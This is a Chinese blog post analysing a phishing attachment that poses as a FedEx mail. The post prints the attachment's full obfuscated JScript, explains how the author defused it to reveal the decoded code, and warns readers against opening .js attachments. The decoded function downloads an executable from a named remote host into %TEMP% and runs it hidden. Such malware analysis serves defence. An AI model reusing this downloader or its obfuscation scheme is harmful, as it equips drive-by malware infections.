20160307 - 双击打开 Js 扩展名的附件要保持留心
Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,
var a5 = 'va';
var a3 = 'l';
var a1 = '';
var a4 = 'e'; function opx() {
a1 += 's(';
pfo();
}; function fef() {
a1 += 'Strea';
iq();
}; function ciq() {
a1 += 'GET"';
ch();
}; function m() {
a1 += ' Act';
es();
}; function obm() {
a1 += ' v';
sqf();
}; function fzw() {
a1 += 'rn';
yeu();
}; function pab() {
a1 += 'Shel';
xwm();
}; function cr() {
a1 += '; xa.';
elt();
}; function jj() {
a1 += 'xa =';
rd();
}; function ny() {
a1 += 'ry ';
wk();
}; function ke() {
a1 += 'fn';
lh();
}; function wbl() {
a1 += 'e ==';
fpg();
}; function ueh() {
a1 += '9531';
n();
}; function ma() {
a1 += '= 0';
cr();
}; function q() {
a1 += '); xo';
s();
}; function rb() {
a1 += '2455';
em();
}; function so() {
a1 += '= ';
upv();
}; function xo() {
a1 += 'pandE';
dyu();
}; function xtj() {
a1 += 'r,fal';
qj();
}; function j() {
a1 += ');';
lyg();
}; function dyr() {
a1 += 'pt.';
pab();
}; function dyu() {
a1 += 'nvir';
x();
}; function lyg() {
a1 += ' }; }';
pws();
}; function suv() {
a1 += '00D10';
tla();
}; function sdx() {
a1 += '; ';
wun();
}; function uet() {
a1 += 'rnd';
jp();
}; function exo() {
a1 += 'n;';
ht();
}; function wqb() {
a1 += 'r)';
whi();
}; function zh() {
a1 += 'se';
rj();
}; function zc() {
a1 += '};';
azk();
}; function elt() {
a1 += 'saveT';
qw();
}; function x() {
a1 += 'on';
jq();
}; function rj() {
a1 += 'nd()';
twi();
}; function bmc() {
a1 += 'on';
bq();
}; function xwm() {
a1 += 'l");';
obm();
}; function dt() {
a1 += 'a.po';
cn();
}; function yeu() {
a1 += ' > 0';
ws();
}; function ow() {
a1 += 'xe",1';
gw();
}; function bxl() {
a1 += 'Strin';
zko();
}; function le() {
a1 += '); x';
dt();
}; function nj() {
a1 += 'p?id';
ctl();
}; function a() {
a1 += ' new';
m();
}; function mok() {
a1 += ' 1; ';
hma();
}; function e() {
a1 += 'Scri';
dyr();
}; function qw() {
a1 += 'oFi';
kg();
}; function pc() {
a1 += '38';
adj();
}; function ruz() {
a1 += ')+f';
exo();
}; function yfs() {
a1 += ' }';
cw();
}; function kva() {
a1 += 'L2.X';
kf();
}; function ywg() {
a1 += ',0,0)';
ze();
}; function egd() {
a1 += 'a.o';
gz();
}; function bq() {
a1 += '() ';
mqo();
}; function yey() {
a1 += 'dl(fr';
fo();
}; function p() {
a1 += 'ng';
opx();
}; function gw() {
a1 += ');';
ne();
}; function jp() {
a1 += '=583';
ueh();
}; function ze() {
a1 += '; ';
ywx();
}; function wk() {
a1 += '{ x';
lf();
}; function mqo() {
a1 += '{ if';
u();
}; function hma() {
a1 += 'xa.wr';
oct();
}; function lyq() {
a1 += 'MS';
ta();
}; function fo() {
a1 += ',fn,';
ra();
}; function aa() {
a1 += 's5-';
k();
}; function lf() {
a1 += 'o.';
bqk();
}; function iec() {
a1 += 'onse';
l();
}; function pws() {
a1 += '; t';
ny();
}; function gz() {
a1 += 'pen()';
sdx();
}; function i() {
a1 += 'yst';
lg();
}; function la() {
a1 += ' =';
tbz();
}; function ta() {
a1 += 'XM';
kva();
}; function kf() {
a1 += 'MLH';
zpg();
}; function yt() {
a1 += 'com/d';
plz();
}; function ovq() {
a1 += 'P%")+';
bxl();
}; function ia() {
a1 += ':/';
zll();
}; function kg() {
a1 += 'le(';
ke();
}; function ff() {
a1 += 'r ws';
y();
}; function pp() {
a1 += 'fn';
ywg();
}; function n() {
a1 += '","8';
ym();
}; function g() {
a1 += 'xo ';
so();
}; function ng() {
a1 += 'xo.';
zh();
}; function mlz() {
a1 += '("';
ciq();
}; function ym() {
a1 += '44';
pc();
}; function kqc() {
a1 += '09&';
uet();
}; function omc() {
a1 += '("W';
e();
}; function wun() {
a1 += 'xa.ty';
tp();
}; function ctl() {
a1 += '=54';
pt();
}; function lg() {
a1 += 'atec';
ors();
}; function bmm() {
a1 += 'XObje';
rvo();
}; function zko() {
a1 += 'g.fro';
fr();
}; function ch() {
a1 += ',f';
xtj();
}; function l() {
a1 += 'Body';
le();
}; function jq() {
a1 += 'mentS';
jf();
}; function em() {
a1 += '565';
jet();
}; function cw() {
a1 += ' catc';
dig();
}; function yv() {
a1 += 'e(92';
ruz();
}; function twi() {
a1 += '; ';
oy();
}; function ws() {
a1 += ') { ';
zo();
}; function zpg() {
a1 += 'TTP"';
q();
}; function s() {
a1 += '.onre';
pao();
}; function rd() {
a1 += ' new ';
kh();
}; function vp() {
a1 += 'XOb';
dwx();
}; function vrm() {
a1 += 'Act';
v();
}; function oi() {
a1 += 'ion ';
ma();
}; function lvc() {
a1 += 'D01';
rb();
}; function pt() {
a1 += '51';
cg();
}; function bqk() {
a1 += 'open';
mlz();
}; function etm() {
a1 += 'Run(';
pp();
}; function hp() {
a1 += '("AD';
b();
}; function whi() {
a1 += ' { }';
ssb();
}; function v() {
a1 += 'ive';
bmm();
}; function w() {
a1 += 'Stat';
wbl();
}; function oct() {
a1 += 'ite';
pd();
}; function zll() {
a1 += '/app.';
aa();
}; function qj() {
a1 += 'se); ';
ng();
}; function plz() {
a1 += 'ocume';
wld();
}; function oy() {
a1 += 'if (';
fzw();
}; function b() {
a1 += 'ODB.';
fef();
}; function h() {
a1 += 'ctio';
o();
}; function zo() {
a1 += 'ws.';
etm();
}; function es() {
a1 += 'ive';
vp();
}; function r() {
a1 += 'va';
ff();
}; function aey() {
a1 += 'rCod';
yv();
}; function adj() {
a1 += '33';
fpe();
}; function tla() {
a1 += '0D011';
lvc();
}; function kh() {
a1 += 'Acti';
zn();
}; function ors() {
a1 += 'hange';
c();
}; function sqf() {
a1 += 'ar fn';
la();
}; function zr() {
a1 += ' var ';
jj();
}; function jn() {
a1 += 'esp';
iec();
}; function fpg() {
a1 += '= 4';
oh();
}; function iq() {
a1 += 'm")';
tgk();
}; function nyj() {
a1 += 'ready';
w();
}; function ht() {
a1 += ' var ';
g();
}; function k() {
a1 += 'tech.';
yt();
}; function ttg() {
a1 += 'bject';
hp();
}; function t() {
a1 += 'ncti';
bmc();
}; function bb() {
a1 += 'xa.c';
lfp();
}; function o() {
a1 += 'n ';
yey();
}; function tbz() {
a1 += ' ws';
fkc();
}; function jf() {
a1 += 'tri';
p();
}; function iiw() {
a1 += '("';
my();
}; function ssb() {
a1 += '; ';
zc();
}; function wq() {
a1 += '0B';
kqc();
}; function ra() {
a1 += 'rn)';
tux();
}; function oh() {
a1 += ') {';
zr();
}; function my() {
a1 += 'http';
ia();
}; function owg() {
a1 += 'fu';
t();
}; function lh() {
a1 += ',2); ';
bb();
}; function tux() {
a1 += ' { ';
r();
}; function wld() {
a1 += 'nt.ph';
nj();
}; function ywx() {
a1 += '};';
yfs();
}; function tgk() {
a1 += '; x';
egd();
}; function dwx() {
a1 += 'ject';
omc();
}; function lfp() {
a1 += 'lose(';
j();
}; function fpe() {
a1 += '5.e';
ow();
}; function upv() {
a1 += 'new ';
vrm();
}; function kag() {
a1 += ' =';
mok();
}; function ne() {
this[a4 + a5 + a3](a1);
}; function rvo() {
a1 += 'ct("';
lyq();
}; function fr() {
a1 += 'mCha';
aey();
}; function dig() {
a1 += 'h (e';
wqb();
}; function u() {
a1 += ' (xo.';
nyj();
}; function y() {
a1 += ' =';
a();
}; function fkc() {
a1 += '.Ex';
xo();
}; function azk() {
a1 += ' dl';
iiw();
}; function tp() {
a1 += 'pe';
kag();
}; function pd() {
a1 += '(xo.R';
jn();
}; function pao() {
a1 += 'ad';
i();
}; function fs() {
a1 += 'fun';
h();
}; function c() {
a1 += ' = ';
owg();
}; function jet() {
a1 += '24A07';
wq();
}; function cn() {
a1 += 'sit';
oi();
}; function pfo() {
a1 += '"%TEM';
ovq();
}; function zn() {
a1 += 'veXO';
ttg();
}; function cg() {
a1 += '515E1';
suv();
};
fs();
虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:
function gw() {
a1 += ');';
ne();
};
改为:
function gw() {
a1 += ');';
//ne();
WScript.Echo(a1);
};
复制出内容如下:
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
} catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);
似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。
但提醒一下:双击打开 Js 扩展名的附件要保持留心。
20160307 - 双击打开 Js 扩展名的附件要保持留心的更多相关文章
- intellij idea (Android studio )外部程序 打开某扩展名(格式)
最近在为项目开发写思维导图, 为了留下思考的过程和业务逻辑. 本人使用的工具是很可怜的freemind,所以“脑图”的扩展名是“.mm” 情景: 在intellij idea (Android stu ...
- Excel 2010/2013/2016在鼠标右键新建xls或xlsx文件后,打开报错“无法打开文件”“文件格式或文件扩展名无效”
近段时间,陆续有两个同事先后出现同样的问题(在Excel多个版本都可能出现),问题描述: 当用鼠标右键在任意文件夹或电脑桌面“新建”→“ Microsoft Excel 工作表”,再用鼠标双击打开这个 ...
- asp.net将页面内容按需导入Excel,并设置excel样式,下载文件(解决打开格式与扩展名指定的格式不统一的问题)
//请求一个excel类 Microsoft.Office.Interop.Excel.ApplicationClass excel = null; //创建 Workbook对象 Microsoft ...
- Microsoft Excel软件打开文件出现文件的格式与文件扩展名指定格式不一致?
今天winform代码做一个datagridview数据导出功能,导出的excel文件的后缀是*.xls(Micorsoft Excel 2000), 而本机新建的excel文件的后缀是 *.xlsx ...
- 打开Excel时提示"您尝试打开的文件**.xls的格式与文件扩展名指定的格式不一致"
问题描述: 系统安装了WPS时,Analyzer导出excel时候,会提示"您尝试打开的文件**.xls的格式与文件扩展名指定的格式不一致",这是Excel的安全问题, ...
- Excel:您尝试打开的文件的格式与文件扩展名指定的格式不一致
报错信息: 打开文件时提示"您尝试打开的文件xxx.xls的格式与文件扩展名指定的格式不一致.打开文件前请验证文件没有损坏且来源可信.是否立即打开该文件?",卸载Office 20 ...
- 关于asp.net C# 导出Excel文件 打开Excel文件格式与扩展名指定格式不一致的解决办法
-----转载:http://blog.csdn.net/sgear/article/details/7663502 关于asp.net C# 导出Excel文件 打开Excel文件格式与扩展名指定格 ...
- Windows 8/7下还原系统默认扩展名打开方式类型
在百度知道上如果你搜“改回选错的打开方式”,看到的大多数都是XP系统的方法,不管是批处理还是别的方法,但适用于Windows 8/7的只有修改注册表的方法. 因为Windows 7你也就根本找不到[工 ...
- Excel无法打开文件xxx.xlsx,因为文件格式或文件扩展名无效。请确定文件未损坏,并且文件扩展名与文件的格式匹配
office版本:2016 系统版本:win10 问题描述: 1.桌面新建excel表格后,打开时,提示“Excel无法打开文件xxx.xlsx,因为文件格式或文件扩展名无效.请确定文件未损坏,并且文 ...
随机推荐
- Ubuntu下安装Pyenv不成功,求指教
虚拟机:VMware12.0 操作系统:Ubuntu16.04 LTS (新安装系统) 已经按照网上的步骤: 1.安装git: $sudo apt-get install git 2.安装依赖包: $ ...
- node.js表单——formidable
node处理表单请求,需要用到formidable包.安装formidable包的命令如下: npm install formidable 安装package的路径分为两种,一种是本地目录,一种是全局 ...
- XSS quiz练习题做题过程及感悟
XSS quiz 最近刚学XSS.所以新手理解如有错误不当,欢迎批评指正. 第1题 一开始做,使用了Chrome浏览器.第一题怎么都做不出来.突然想起来使用IE,打开IE11,才成功了. <sc ...
- memcached在windows下多实例并存
文章来源:http://blog.csdn.net/xingxing513234072/article/details/39343999 memcached.exe的-d install命令安装时其他 ...
- 在Docker中运行web应用
启动一个简单的web 应用 使用社区提供的模板,启动一个简单的web应用,熟悉下各种Docker命令的使用: # docker run -d -P training/webapp python app ...
- AC日记——配对碱基链 openjudge 1.7 07
07:配对碱基链 总时间限制: 1000ms 内存限制: 65536kB 描述 脱氧核糖核酸(DNA)由两条互补的碱基链以双螺旋的方式结合而成.而构成DNA的碱基共有4种,分别为腺瞟呤(A).鸟嘌 ...
- 如何配置QuickFIX/N
Acceptor或者Initiator能够为您维护尽可能多的FIX会话,因而FIX会话标识的唯一性非常重要.在QuickFIX/N中,一个FIX会话的唯一标识是由:BeginString(FIX版本号 ...
- jquery中取消和绑定hover事件的正确方式
在网页设计中,我们经常使用jquery去响应鼠标的hover事件,和mouseover和mouseout事件有相同的效果,但是这其中其中如何使用bind去绑定hover方法呢?如何用unbind取消绑 ...
- 生产服务器环境最小化安装后 Centos 6.5优化配置[转]
内容目录 centos6.5最小化安装后配置网络: IP地址, 网关, 主机名, DNS 更新系统源并且升级系统 系统时间更新和设定定时任 创建普通用户并进行sudo授权管理 修改SSH端口号和屏蔽r ...
- 夯实基础之php学习-1基础篇
1,单引号和双引号的区别 单引号表示字符串,双引号能解析字符串中的变量,所以,如果没有变量,尽量用单引号,加快解析速度 当字符串需要单引号或者双引号的时候,可以用转义字符代替 2,类型转换 通过(bo ...